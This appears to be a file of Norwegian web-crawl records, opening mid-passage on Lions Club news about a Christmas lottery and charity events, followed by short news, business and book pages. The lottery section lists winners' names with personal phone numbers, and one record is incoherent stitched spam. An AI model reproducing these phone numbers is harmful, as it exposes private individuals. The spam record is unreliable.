\"VARDEN\", Kai Aurbekkholen, og representanter fra de glade gavemottakerne, Frelsesarmeen, Skien Diakonale Senter, Gurvika Feriesenter (Handicap-camping), Kirkens SOS Telemark, Norges Blindeforbund Telemark, Skiens Misjonskirke (Julaftenmiddag for hjeml\u00f8se).\u00a0\n\n## Julelotteriet 2016 vel i havn.\n\n\n\nJulelotteriet 2016 er n\u00e5 gjennomf\u00f8rt, og nok en gang med godt resultat, s\u00e5vel for Lions-klubbene som for de lykkelige vinnerne av v\u00e5re fine gevinster.\n\nVinneren av hovedgevinsten, \u00d8ystein Gunnersen, ble overlykkelig da Ivar S\u00f8rensen fra Varden/Lions Julelotteri ringte ham, *\"ny bil til jul, det var fin julegave det\\!\\!\"\u00a0*\n\nSalget av lodd i \u00e5rets julelotteri gikk over all forventning, og s\u00e5 godt som alle de 20000 loddene gikk unna i god tid f\u00f8r trekningsdagen. Og fortsetter denne trenden til neste \u00e5r s\u00e5 m\u00e5 vi kanskje be folk om \u00e5 forh\u00e5ndsbestille lodd for \u00e5 v\u00e6re sikre p\u00e5 \u00e5 f\u00e5 lodd?\u00a0\n\nVi i Lions vil samtidig rette en stor takk til alle v\u00e5re sponsorer og ikke minst ogs\u00e5 til alle v\u00e5re trofaste lodd-KJ\u00d8PERE.\\!\n\nOg overskuddet fra \u00e5rets Julelotteri ble utdelt til glade mottakere (sp\u00f8rsm\u00e5let er om ikke \"giveren\" er like glad?) under en uh\u00f8ytidlig \"sermoni\" i VARDENs nye lokaler p\u00e5 Kloster\u00f8ya. \u00a0\n\n\u00c5rets heldige vinnere ble:\n\n**1.** **Gevinst: Skoda Citigo 5-d\u00f8rs, verdi kr. 185.000**\n\nVunnet av loddnummer 2724 - \u00d8ystein Gunnersen, 414 57 874\n\n2\\. **Gevinst: Gavekort Fliser/Naturstein, verdi kr. 10.000**\n\nVunnet av loddnummer 1972 - Lilly Brunvoll, Skien, 930 46 272\n\n3\\. **Gevinst: Gavekort, verdi kr. 5.000**\n\nVunnet av loddnummer 9070 - Ann Katrin Knarrum, 905 18 822\n\n4\\. **Gevinst: Hotellopphold for 2 personer, verdi kr. 4.000**\n\nVunnet av loddnummer 4494 - 414 21 892\n\n5\\. **Gevinst: Maleri av Arne Kleng Dahle, verdi kr. 4.000**\n\nVunnet av loddnummer 8434 - Sarah Brevik, 919 11 367\n\n\n\n**I h\u00f8st har Lionsklubbene i Horten kommune igjen invitert elevene i 7. klasse p\u00e5 alle barneskolene til \u00e5 delta i Lions Fredsplakattegnekonkurranse som er en verdensomspennende konkurranse. Temaet i \u00e5r var \"Feire freden\".**\n\n## F\u00f8rjulskveld p\u00e5 Saltr\u00f8d Bo og omsorgssenter.\n\n\n\nTorsdag 1 desember inviterte LC-Moland til hyggekveld p\u00e5 senteret. Dette er blitt en fin tradisjon som klubben har fulgt opp i mange \u00e5r. Det var tydelig at dette blir satt pris p\u00e5, for stua ble helt full med beboere og deres n\u00e6rmeste.\n\n## To Melvin Jones utmerkelser delt ut p\u00e5 klubbens julebord.\n\nDet ble ekstra historisk sus over utdelingen av hederspriser p\u00e5 julefesten. Aldri f\u00f8r har to stykker gjort seg fortjent til utmerkelsen samtidig.Melvin Jones er Lions h\u00f8yeste utmerkelse, den\u00a0henger selvsagt h\u00f8yt og er krevende \u00e5 oppn\u00e5, men jammen var to av\u00a0v\u00e5re kvalifisert til \u00e5 f\u00e5 den i \u00e5r\\!\n\n## Julenek til glede for flere enn sm\u00e5fuglene\n\n\n\n**Noen av Hortens innbyggere har de siste dagene f\u00e5tt bes\u00f8k av Lionsmedlemmer som selger julenek. Vi \u00f8nsker med dette \u00e5 takke alle de som har kj\u00f8pt julenek av oss. Dere er med p\u00e5 \u00e5 gj\u00f8re julen litt triveligere for mange vanskeligstilte i v\u00e5r kommune.**  \n**P\u00e5 desemberm\u00f8te bevilget vi kr 5.000,- til Horten Bl\u00e5kors og kr 10.000,- til vanskeligstilte familier i Horten kommune.**\n\n## 5 nye medlemmer i Lions Club Hol\n\n\n\n\n\nLions Club Sem samarbeider med ungdomsskolene i T\u00f8nsberg i et mange\u00e5rig prosjekt mot narkotika og rus. Hensikten er \u00e5 skape et godt klassemilj\u00f8 med trygge elever, gi kunnskap og klare holdninger til narkotiske stoffer og andre rusmidler, og \u00e5 l\u00e6re mestring av nye utfordringer ved avslutning av ungdomsskolen. LC Sem benytter prinsippene fra programmet \u00abMitt Valg\u00bb.\n\n## Lions Club \u00d8vre Eiker inviterer til Julemesse 19. november\n\n\n\nSkolestart i Tallinn er alltid f\u00f8rste hverdag i september, en dag som markeres med at barna\u00a0 skal v\u00e6re fint pyntet og gjerne ha med blomster til klassel\u00e6reren. For mange barn kan dette v\u00e6re vanskelig, derfor s\u00f8rger Peeteli \u00e5r etter \u00e5r for at fattige barn kan m\u00f8te til f\u00f8rste skoledag\u00a0 b\u00e5de med rene kl\u00e6r, ny skoleransel og tilstrekkelig skolemateriell.\n\n## Lions Club Moland \u2013 50 \u00e5rs jubileum.\n\n\n\nLions Club Moland feiret 50 \u00e5rs jubileum l\u00f8rdag 24. september. Gjester var representanter fra naboklubber, distrikstguven\u00f8r, vennskapsklubben v\u00e5r i Danmark LC Hvetebo og spesielt inviterte fra bo \u2013 og omsorgssentrene Liatunet og Flosta.\n\n## Telerosa har kommet lang med forberedelser for den \u00e5rlige julemessen 19 november 2016\n\n\n\nDet er igjen klart for en ny Lionskonferanse i T\u00f8nsberg, sett av 22. og 23. oktober til dette.\n\n## \"De glemte barna\"\n\n\n\n**P\u00e5 klubbm\u00f8tet i september hadde vi bes\u00f8k av Nils \u00d8rum, Lions Norges sjef for utenlandsoperasjoner. Han holdt et meget interessant og engasjerende innlegg om \"De glemte barna\" i Libanon.**\n\n## Barnehjemmet i Gweru, Zimbabwe st\u00e5r ferdig.\n\nBarnehjemmet rommer 10 barn og er f\u00f8rste bygg av 6 som er planlagt.\n\nStarten p\u00e5 dette prosjektet er det Lene Tollefsen Rodeg\u00e5rd som st\u00e5r bak, som sykepleier ble hun tilfeldig engasjert i frivillig arbeid ved en et sykehus i Zimbabwe og s\u00e5 behovet for \u00e5 hjelpe barna som lever i slummen, under mottoet, \u00abingen kan gj\u00f8re alt men alle kan gj\u00f8re litt\u00bb\n\n\n\nPresident Terje Engebakken overrakte sjekken p\u00e5 20.000 til Lene Rodeg\u00e5rd under andel\u00f8pet i parken.\n\n## L\u00f8venytt august 2016\n\n\n\n\n## Etter 42 \u00e5r ble en barri\u00e6re brutt i Nesbyen Lions Club.\n\n*Nesbyen Lions ble stiftet\u00a0 i 1974 og har v\u00e6rt en klubb best\u00e5ende av bare menn.*\n\n*Klubben jobbet med medlemsverving i \u00e5ret som gikk og resultatet ble tre nye medlemmer.*\n\nHvert \u00e5r deler Lions Telerosa ut jordb\u00e6r til sykehjemmene noe som blir tatt godt imot av brukerne.\n\n## Walk and Run for brannskadde barn i Etiopia\n\n\n\nNok en gang er det Walk and Run p\u00e5 Notodden, mandag 30. mai kl 18 blir det igjen arrangert.  \nDere som har lyst til \u00e5 KOMME OG DELTA p\u00e5 Notodden er hjertelig velkomne\\! I fjor var det flere Lionsklubber som arrangerte fellestur til Notodden p\u00e5\u00a0arrangementet, kanskje din klubb ogs\u00e5 blir med i \u00e5r?\n\nOg i \u00e5r kommer ogs\u00e5 Lions generalsekret\u00e6r Heidi Lill.\n\nKan du ikke delta fysisk selv, er det ikke et hinder for \u00e5 delta\\!  \nSett inn et valgfritt bel\u00f8p p\u00e5 kontonr. 1503.31.37203, og merk innbetalingen med navn og klubb\\!\n\n## Marinemuseet i Horten\nOnsdag 29. juni arrangerte Lions Club Moland tur for beboere p\u00e5 omsorgssenteret og Liatunet.\n\n## Grillfest i Borreparken\n\n\n\n**22 juni hadde Lionsklubbene Horten og Borre invitert beboere og ansatte fra bofellesskapene i Dronningringen, Fogdehagen, Milj\u00f8tjenesten, Bagger\u00f8d, Basen og Myrl\u00f8kken til stor grillfest i Borreparken. Noen p\u00e5r\u00f8rende hadde ogs\u00e5 funnet veien til arrangementet.\u00a0 Alt i alt var det mellom 70 og 80 mennesker som koste seg i sommersola.**\n\n## Melvin Jones Fellowship Award\n\n\n\n## 99 \u00e5r og glad for \u00e5 v\u00e6re p\u00e5 tur med Lions Bamble\n\n\n\n**Kirsten Bjurholt Johnsen p\u00e5 99 fra Rugtvedt og en forn\u00f8yd gjeng fra Vest Bamble aldershjem/omsorgsboliger og beboere fra Herre-senteret m/flere og andre i Bamble var invitert av Lions p\u00e5 busstur gjennom Bamble til Krager\u00f8 i juni.**\n\n\n\nTusen takk for alle innsendte bidrag. Fortsett \u00e5 sende inn sm\u00e5 og store historier, slik at neste nummer kan komme som planlagt i juli.\n\n## Lions Club Ris\u00f8r ryddet strendene i Breibukta og Myggbukta.\n\n\n\nL\u00f8rdag 11. juni var 8 Lions-gutter ute og ryddet strendene i Breibukta og Myggbukta.  \n\u00c5rets ryddejobb bestod i \u00e5 rake og kj\u00f8re vekk tang fra strendene. Og heldigvis, det er minimalt med annet s\u00f8ppel p\u00e5 strendene.\u00a0\n\n## Like fint som poesi\n\n\n\nLions Club Ris\u00f8r arrangerte sitt \u00e5rlige Lionsleker fredag 10. juni p\u00e5 Sagjordet i Ris\u00f8r.  \nGlade deltakere i et str\u00e5lende v\u00e6r, gjorde ettermidedagen til en flott opplevelse.\n\n## WALK AND RUN 2016\n\nLions Notodden herreklubb, Rotary og Lions Notodden Telerosa samlet inn over 200 000 p\u00e5 \u00e5rets innsamling.  \nVi hadde bes\u00f8k av Generalsekret\u00e6r Heidi Lill Mollestad Oppegaard som var med \u00e5 st\u00f8ttet saken v\u00e5r.\n\n\n\n## Lions tulipaner mot narkotika\n\n\n\nLions arrangerte den siste uken i april sin \u00e5rlige aksjon mot narkotika. B\u00e5de LC T\u00f8nsberg og LC Sem var aktive, denne gang sammen med Norsk Narkotikapolitiforening. Publikum i byen og distriktet er fortrolig med Lions tulipaner, og sluttet sv\u00e6rt positivt opp om aksjonen.\n\n## Bakg\u00e5rdsprosjekt hos Kirkens bymisjon\n\n\n\nLions ble 31. mai invitert inn i bakg\u00e5rden til Kirkens bymisjon i T\u00f8nsberg. Der hadde \"Myrsnipa\" stelt i stand flott \u00e5pning av den nye grill- og solterrassen sin. Snorklipping og markering \u00a0av Lions som giver var ogs\u00e5 en del av seremonien.\n\n## LC Bamble ga 10.000 kroner til Ma'Ma-senteret i Manila\n\n\n\n**Tidlig p\u00e5 1990 tallet startet Rachel Trovi fra Langesund \u00e5 hjelpe de fattigste av de fattige i Manila. I dag drives denne organisasjonen under navnet Ma'Ma Children Center of Norway.**\n\n## 17\\. mai-fest i T\u00f8nsberg\n\n\n\nAlle innvandrere i T\u00f8nsberg ble invitert til tradisjonell feiring av 17. mai. Det ble servert p\u00f8lser og brus, kaffe og bl\u00f8tkaker, og selvf\u00f8lgelig iskrem til barna. Bunader, norske flagg og sang og musikk preget ogs\u00e5 denne feiringen av dagen.\u00a0\n\n## Velfortjent heder p\u00e5 \u00e5rets Riksm\u00f8te til to iherdige Lions-damer\n\n\n\nUnder banketten p\u00e5 Lions Riksm\u00f8te i Sarpsborg l\u00f8rdag 28. mai, fikk to av distriktets ivrigste Lions-damer tildelt hver sin pris:  \nMarit Odden fra LC Drangedal ble tildelt distriktets Ildsjel-pris, og Solbj\u00f8rg Kolsrud fra LC Notodden/Telerosa ble tildelt Lions-krystallen.\u00a0\n\n## L\u00f8venytt mai 2016\n\n\n\nDa er L\u00f8venytt for mai klar.\n\nTusen takk for alle innsendte bidrag. Her er mange fine artikler for de f\u00f8rste m\u00e5nedene av 2016. Oppfordrer alle til \u00e5 sende inn sm\u00e5 og store historier, slik at neste nummer kan komme som planlagt i midten av\u00a0juni.\n\n## Program for Safarimessen 2016\n\n\n\n## Lions Tulipanaksjon - 30. april 2016\n\n\n\n**Motto for aksjonen er \"Det er bedre \u00e5 bygge barn enn \u00e5 reparere voksne\".**\n\n## Utmerkelse for mange nye Medlemmer\n\n\n\nChrister Dubrefjord er kirurg og har permisjon fra jobben sin fra Notodden sykehus. Dette halv\u00e5ret har han hatt sin kirurgiske praksis, som kirurger er p\u00e5lagt \u00e5 ha med jevne mellomrom, ved brannskadesykehuset MCM, Corean Hospital, der plastikk kirurg Einar Eriksen arbeider. Christer belaster ikke noe, alt p\u00e5 eget initiativ.\u00a0Gunnbj\u00f8rg Fisketj\u00f8n, anestesisykepleier, har 1/2 \u00e5r permisjon fra anestesisykepleierarbeidet p\u00e5 Notodden sykehus uten l\u00f8nn, og arbeider dugnad for de brannskadde.\n\n## Konsertaften i Hangaren p\u00e5 Gullknapp, Froland\n\n\n\nSett allerede n\u00e5 av fredag 29. april til en forrykende konsertaften i Hangaren p\u00e5 Gullknapp\\!\nHenning Kvitnes og Claudia Scott med band spiller opp til fest, dans og mye annet festlig.\n\n## Aluminiummuseet i Holmestrand\n\n**Lions Club Bamble feiret sitt 40-\u00e5rs jubileum i kulturhuset i \u00c5by l\u00f8rdag 6. februar. Dette gamle og nostalgiske huset som f\u00f8r i tiden var kommunesenteret i Bamble var en fin ramme for dette jubileet.**\n## Trekningsliste Julelotteriet 104G 2015\n\nKlippet fra Telen:\n\n\n\nDet er for syvende \u00e5ret p\u00e5 rad at Kj\u00e6rlighet og Grenser gjennomf\u00f8res i Ris\u00f8r. Forebyggingsprogrammet retter seg mot elever p\u00e5 7. trinn og deres foreldre. Programmet g\u00e5r over 8 uker, med samlinger for elevene p\u00e5 dagtid, og foreldrene p\u00e5 kveldstid.\u00a0\n\n## Utdeling av overskuddet fra \"Varden-Lions Julelotteri\" 2015.\n\n\n\nMandag 21. desember var det en\u00a0 hyggelig samling i kantina hos avisen \"VARDEN\". Anledningen var at overskuddet fra \u00e5rets (2015) \"Varden/Lions-Julelotteri\" skulle deles ut. Og tilsammen ble det delt ut over 90.000,- (\\!)\n\n## Julebes\u00f8k p\u00e5 Flosta bo- og omsorgssenter - 2015\n\n## F\u00f8rhjulskveld p\u00e5 Saltr\u00f8d bo- og omsorgssenter, torsdag 10. desember 2015\n## L\u00f8venytt Desember 2015\n\n\n\nS\u00e5 har vi f\u00e5tt en Juleutgave av L\u00f8venytt for distrikt D4\\!  \nTakk til tidligere PRC Jens Petter Christensen i LC \u00d8yestad for en stor velvillighet som har laget dette for oss\\!\n\nHer er mye \u00e5 lese om de flotte Lions-aktivitetene som har skjedd i h\u00f8st i v\u00e5rt nye store distrikt.\n\nVi \u00f8nsker samtidig alle en **Riktig God Jul** og **Et Godt Nytt \u00c5r**\\!\n\n## Lions-nisser lagde julestemning i barnehagen\n\n## LC Skien deltok p\u00e5 Frivillighetsdagen p\u00e5 Gulset N\u00e6rmilj\u00f8senter.\n\n\n\nL\u00f8rdag 5. desember 2015 var LC Skien reprensentert med egen \"stand\" p\u00e5 Frivillighetsdagen p\u00e5 Gulset N\u00e6rmilj\u00f8senter. Denne \"Frivillighetsdagen\" er en sammenkomst for alle de frivillige organisasjonene i Skien kommune og som har en eller annen tilknytning til bydelen Gulset.\n\nLC Skien var representert med Ivar S\u00f8rensen, Tom Nilsen, Torgunn Lassen, Tor Helge Hartvigsen og Bj\u00f8rn Kortner som fikk gode tilbakemeldinger fra mange av de fremm\u00f8tte Gulset-beboerne (og kanskje fikk vi vervet noen nye Lions-medlemmer ogs\u00e5?). En av aktivitetene denne dagen var bl.a. utdeling av \u00e6resprisen \"\u00c5rets Gulsetbeboer\", samt at N\u00e6rmilj\u00f8senteret demonstrerte sine innleide \"Rickshaws\" sykler med stort dobbeltsete foran. De \u00f8nsker \u00e5 kunne tilby gratis sykkeltur til bevegelseshemmede, eldre og yngre brukere. Syklene betjenes av frivillige sykkelpiloter og har elektrisk hjelpemotor. De \u00f8nsker seg flere som kan bidra som piloter (noe for sporty Lions-medlemmer?)\n\nOg det ble ogs\u00e5 god omsetning p\u00e5 lodder til \u00e5rets \"Varden/Lions Julelotteri\", det var tydelig at det var mange ogs\u00e5 p\u00e5 Gulset som kunne \u00f8nske seg en ny bil til jul (hovedgevinsten i Julelotteriet).\n\n## Lions Club Skiens Julebord 2015\n\n\n\nFredag 4. desember hadde LC Skien sin \u00e5rlige \"julesammenkomst\". Og som de siste \u00e5rene ble festen holdt i \"lokalet v\u00e5rt\" p\u00e5 Hotell Dag Bondeheim.\n\nDet ble servert en liten aperetif f\u00f8r maten og praten gikk livlig. Undertegnede hadde \u00e6ren av \u00e5 v\u00e6re kveldens \"kj\u00f8gemester\" og \u00f8nsket gjestene velkommen til bords. Her ble det servert nydelig juletallerken med hjemmelaget karamellpudding til dessert. Og\u00a0selvf\u00f8lgelig ogs\u00e5 med \"noe godt\" i glassene til den gode maten. Og senere p\u00e5 kvelden var det kaffi og litt kake (for de som hadde mage til slikt). Deltagelsen var kanskje ikke som \u00f8nsket, men vi som var der hadde det i allefall skikkelig hyggelig, med mye sang og gode og morsomme taler, s\u00e6rlig b\u00f8r Torill's utleggelse om \"en loddselgers hverdag\" fremheves, her var det mange som kjente seg igjen i situasjoner og \"kundem\u00f8ter\" med alle som i l\u00f8pet av de siste ukene har st\u00f8ttet Lions med \u00e5 kj\u00f8pe lodd i \"Varden/Lions Julelotteri\" (som i \u00e5r ble gjennomf\u00f8rt for 56. gang\\!\\!). Kj\u00f8gemesteren hadde ogs\u00e5 ansvaret for litt musikk-akkompagnement til de sangglade festdelagerne. N\u00e5 er ikke Lions Julebord\u00a0en fest som varer \"uti de sm\u00e5 timer\", jeg tror alle var vel hjemme igjen f\u00f8r midtnatt.\u00a0\n\n## Melvin Jones til to hederskarer\n\n\n\nP\u00e5 klubbm\u00f8tet i desember kunne Lions Club Tyristrand hedre to av klubbens medlemmer for deres innsats for klubben og n\u00e6romr\u00e5det v\u00e5rt med Lions h\u00f8yeste utmerkelse, Melvin Jones Fellowship Award. De to verdige mottakere er Tor Solheim og Egil Karlsen.\n\n## \"Velkommen Caf\u00e9\" i T\u00f8nsberg\n\n\n\n\"Velkommen Caf\u00e9\" i T\u00f8nsberg er et tilbud til flyktninger i T\u00f8nsberg som er ment \u00e5 dekke en rekke behov. Utenfor kafeen i Skogergaten st\u00e5r plakaten i engelsk versjon og \u00f8nsker flyktningene velkommen. Oppslutningen viser at tilbudet er popul\u00e6rt.\n\n## LIONSKONFERANSE med kvinner i fokus\n\n\n\n24\\. oktober 2015 p\u00e5 Quality Hotel Klubben i T\u00f8nsberg, Lionskonferansen 2015 \u2013 en m\u00f8teplass med fokus p\u00e5 inspirasjon, glede og utvikling\\!\n\nOverordnet m\u00e5l med konferansen var som tidligere \u00e5r \u2013 \u00e5 \u00f8ke kvinneandelen i Lions, i alle styrer og r\u00e5d. Lions trenger kvinner og menn, Lions trenger kompetanse og talent. Konferansen skal bidra til \u00e5 skape engasjement og glede, og \u00e5 komme sammen og dele erfaringer. Kvinner skal finne veien for seg selv og nye kvinner i Lions, skape nye arenaer for kvinner og bidra til \u00e5 t\u00f8rre \u00e5 ta verv. Konferansen skal videre bidra til at medlemmer tar tak i klubben ved \u00e5 utvikle og gjennomf\u00f8re nye, spenstige prosjekter og \u00e5 samarbeide p\u00e5 tvers av klubbene.\n\n## Gave til Nesbyen Skolekorps\n\n\n\n\n\n**P\u00e5 klubbm\u00f8tet i november hadde vi bes\u00f8k av representanter fra Building Our Future som er en non-profit organisasjon, hvor all st\u00f8tte g\u00e5r uavkortet til tiltak organisasjonen \u00f8nsker \u00e5 st\u00f8tte.**\n## Melvin Jones Fellowship Award\n\n\n\n**P\u00e5 klubbm\u00f8tet i september ble v\u00e5rt medlem Bj\u00f8rn O. Sj\u00f8voll tildelt Lions h\u00f8yeste utmerkelse, Melvin Jones Fellowship Award.**\n\n## Moland Lions med st\u00f8tte til turvei rundt Vindkollvannet ved Flosta bo- og omsorgssenter.\n\n\n\nMoland Lions stilte opp p\u00e5 \u00e5pningen av fase 1. av turvei rundt Vindkollvannet ved Flosta bo- og omsorgssenter. Vi bidro med servering av kaker, boller, kaffe og annen drikke ved \u00e5pningsmarkeringen - med kjempegod st\u00f8tte av Lionessene\\! Som st\u00f8tte bidro ogs\u00e5 Moland Lions med en gavesjekk p\u00e5 kr. 10.000,- til videre arbeid.\n\n## Kunstutstilling i T\u00f8nsberg\n\n\n\n**Lions Club T\u00f8nsberg arrangerer kunstutstilling p\u00e5 Slottsfjellsmusetet i T\u00f8nsberg l\u00f8rdag 31. okt. og s\u00f8ndag 1. nov. Utstillingen er \u00e5pen begge dager fra 11.00 til 17.00. Lions og Slottsfjellsmuseet \u00f8nsker alle hjertelig velkommen til hyggelige og spennende opplevelser.**\n\n## Lions Tulipanpris 2015 til Ris\u00f8r-politimann\\!\n\n\n\nBj\u00f8rn Kolmannskog kommer i fint selskap etter at han 30. mai ble tildelt Lions Tulipanpris. For blant tidligere vinnere finner man folk som Eddi Eidsv\u00e5g, Simon Flem Devold og Stine Sofies Stiftelse.\n\n## En fantastisk rundtur for eldre gjennom Bamble\n\n## Moland Lions \u2013 Loppemarked 2015\n\n\n\nMolan Lions arangerte l\u00f8rdag 9 mai loppemarked i Stueneshallen. Det er 13 \u00e5ret p\u00e5 rad at vi har hatt Stuenes som salgssted av lopper. Hallen ble som tidligere full av storlopper, sm\u00e5lopper, kl\u00e6r, b\u00f8ker, elektriske artikler og mye mer.\n\n", "language": "no", "__index_level_0__": "0d42590c-3423-467c-abf2-11898667d231"}
{"url": "http://os-motorsport.com/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:39:57Z", "text": "## Rallyh\u00f8sten 2015\n\n## Rally i Norge\n\n**Motorsport har en viktig stilling i Norge i dag, og da s\u00e6rlig rally. Rally arrangeres p\u00e5 vanlige veier, og konkurransene kan vare i alt fra noen timer til flere dager. Sporten kjennetegnes ved at deltakerne kj\u00f8rer p\u00e5 strekninger mellom ulike steder og gjennomf\u00f8rer en rekke etapper.** Her er hurtighet og idealtid det viktigste. Bilene er basert p\u00e5 helt vanlige biler, men de er utf\u00f8rlig oppdatert for \u00e5 kunne fungere optimalt under alle mulige forhold. De er ogs\u00e5 forsterket for \u00e5 \u00f8ke sikkerheten til f\u00f8reren og kartleseren dersom de skulle v\u00e6re s\u00e5 uheldige \u00e5 krasje. Rally er en fartsfylt spenningssport som \u00f8ker pulsen hos tilskuerne til uante h\u00f8yder.\n\n\n\nDet arrangeres en rekke rallyer flere ganger i \u00e5ret b\u00e5de i Norge og internasjonalt. Noen av rallyl\u00f8pene i Norge er norgesmesterskap, mens andre er spenningsfylte l\u00f8p med lange tradisjoner. I disse l\u00f8pene deltar ut\u00f8vere fra en rekke norske motorsportklubber. Det spesielle med rally i Norge, er forholdene: Underlagene kan v\u00e6re sv\u00e6rt varierte, og man kan finne alt fra sn\u00f8 og is til grus og asfalt i ett enkelt rally. Mange norske ut\u00f8vere stiller ogs\u00e5 i verdensmesterskapet FIA World Rally Championship, ofte forkortet til WRC. Dette rallyet best\u00e5r av en rekke enkeltl\u00f8p som arrangeres over hele verden, hvor man f\u00e5r poeng p\u00e5 hvert l\u00f8p som s\u00e5 legges sammen til en endelig poengsum.\n\nDette bill\u00f8pet blir ofte referert til som det mest utfordrende bilsportl\u00f8pet i verden p\u00e5 grunn av de t\u00f8ffe og varierte forholdene. I 2003 vant Petter Solberg WRC med sin Subaru Impreza. Det er det beste internasjonale resultatet for en nordmann til dags dato, men det er kun et sp\u00f8rsm\u00e5l om tid f\u00f8r en av nykommerne overtar tronen. Rekrutteringen av f\u00f8rere og kartlesere i Norge er sv\u00e6rt god. Det er nemlig en hel rekke nordmenn med i de ulike klassene i verdensmesterskapet, blant annet f\u00f8rerne Mads \u00d8stberg, Andreas Mikkelsen, Anders Gr\u00f8ndal, og Ole Christian Veiby. Klassene er delt inn etter motorvolum, trimmingsgrad, bilenes alder og f\u00f8rernes erfaring. B\u00e5de Mikkelsen og \u00d8stberg konkurrerer helt oppe i verdenstoppen med m\u00e5l om pallplass i WRC.\n\n", "language": "no", "__index_level_0__": "d4cddc51-ab3e-4260-8de5-89f5862cdd3e"}
{"url": "http://guescollectionfemme.com/bilder-2866/sendt-modne-bilder-6326.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:29:37Z", "text": "H\u00f8r radio direkte RADIO: Vi i VG hadde satt stor pris p\u00e5 om du hvitlister oss slik at vi kan finansiere v\u00e5r journalistikk med reklame og fortsette \u00e5 v\u00e6re en gratis nyhetskilde. Et par timer senere skimtet vi likevel gult. N\u00e5de anime hentai bilder. Kontakt og hjelp Kontakt og hjelp Om NRK Kontakt NRK Tilgjengelighet Lisens Hjelp Om personvern Om informasjonskapsler cookies Om foreldrekontroll. Bingo Arbeidsmarkedet Ledige stillinger. Det er mulig for alle \u00e5 s\u00f8ke om utsatt skolestart for barnet sitt.\n\nEnn s\u00e5 lenge har det ikke blitt noe mer enn det, s\u00e5 da har jeg fullt fokus p\u00e5 Odd, sier Oldrup Jensen.\n\n\n\nN\u00e5 er jordb\u00e6rene modne. Gled deg til fint v\u00e6r i helga Norge. Det har v\u00e6rt litt interesse og kommet noen bud. Den er ganske sjelden her i skogene, og den krever godt med fuktighet for \u00e5 b\u00e6re frem sin sol av et b\u00e6r.\n\n", "language": "no", "__index_level_0__": "9f56c2f5-33af-4ce6-aa1e-1d79683f9021"}
{"url": "https://www.nrk.no/nyheter/mann-savnet-etter-raftingulykke-1.13053928", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:44:50Z", "text": "## Mann savnet etter raftingulykke\n\nPolitiet har satt i gang s\u00f8k i elva Vosso etter en raftingulykke p\u00e5 Evanger i Voss kommune. En mann er savnet. Det var fire personer om bord, og de tre andre skal ha kommet seg i land.\n\n\n\n## \u2013 Dette kunne g\u00e5tt skikkeleg gale\n\nPolitiet har oppretta sak mot dei fire personane som sette utfor Vosso i gummib\u00e5t torsdag kveld. Minst \u00e9in av dei skal ha mangla flytevest og hjelm. \u2013 Folk m\u00e5 tenkje seg om, seier politif\u00f8rstebetjent Henning Hegbom.\n\nAv Even Norheim Johansen og Stian S\u00f8rum R\u00f8kenes\n\n", "language": "no", "__index_level_0__": "8fe2932d-8bc8-492c-9653-dcac0652026f"}
{"url": "https://velund.no/priser", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00375.warc.gz", "warc_date": "2018-03-24T23:13:13Z", "text": "Sal\u00e6r beregnes etter en kombinasjon av medg\u00e5tt tid og sakens kompleksitet.\n\nUtgangspunktet er en timesats\u00a0fra kr 1\u00a0600 - 2 000 + mva.\n\n\u00a0\n\nI enkelte saker vil klienten ha rett til fri rettshjelp som dekkes av det offentlige (offentlig sal\u00e6rsats kr 1 020,\u2013).\n\nVi\u00a0vil v\u00e6re behjelpelig med \u00e5 s\u00f8ke om fri rettshjelp og unders\u00f8ke om saken dekkes gjennom forsikring.\n\n\u00a0\n\nVed kortvarige oppdrag vil sal\u00e6ret avregnes ved sakens avslutning. Ved oppdrag av lengre varighet vil det i utgangspunktet foretas m\u00e5nedlige avregninger.\n\n\u00a0\n\nSist oppdatert tirsdag 20. mars 2018 14:02\n\n", "language": "no", "__index_level_0__": "20fc1016-2b3f-4653-9de6-35074b386b83"}
{"url": "http://www.aller.no/print/node/2167", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:54:06Z", "text": "Allerhuset i Karvesvingen 1 er p\u00e5 nesten\u00a011 000 kvm. og\u00a0 rommer over 500 arbeidsplasser. Aller Media, Redink og Sol (Scandinavia Online AS) har allerede flyttet inn. I midten av april flytter Dagbladet ogs\u00e5\u00a0inn.\n\n\\- Allerhuset er et moderne bygg med alle fasiliteter som vil gi oss unike muligheter til \u00e5 jobbe enda bedre og tettere sammen p\u00e5 tvers av alle avdelinger og selskaper\u00a0for \u00e5\u00a0gi kraft\u00a0til\u00a0innovasjon og vekst.\n\n\u00a0(foto: Morten Eik)\n\n", "language": "no", "__index_level_0__": "c4b9dccb-851c-4bbf-b86d-2d252120f38d"}
{"url": "https://www.cappelendamm.no/_fotball-richard-herrmann-9788202517731", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:27:19Z", "text": "\n\nRichard Herrmann\n\nRichard Herrmann (1919-2010) virket som forfatter og journalist, og var blant annet NRKs London-korrespondent 1964\u20131977. Han skrev en rekke b\u00f8ker om britisk historie og hverdagsliv.\n\n", "language": "no", "__index_level_0__": "ded50e92-7202-4d19-b098-03522b16eeb9"}
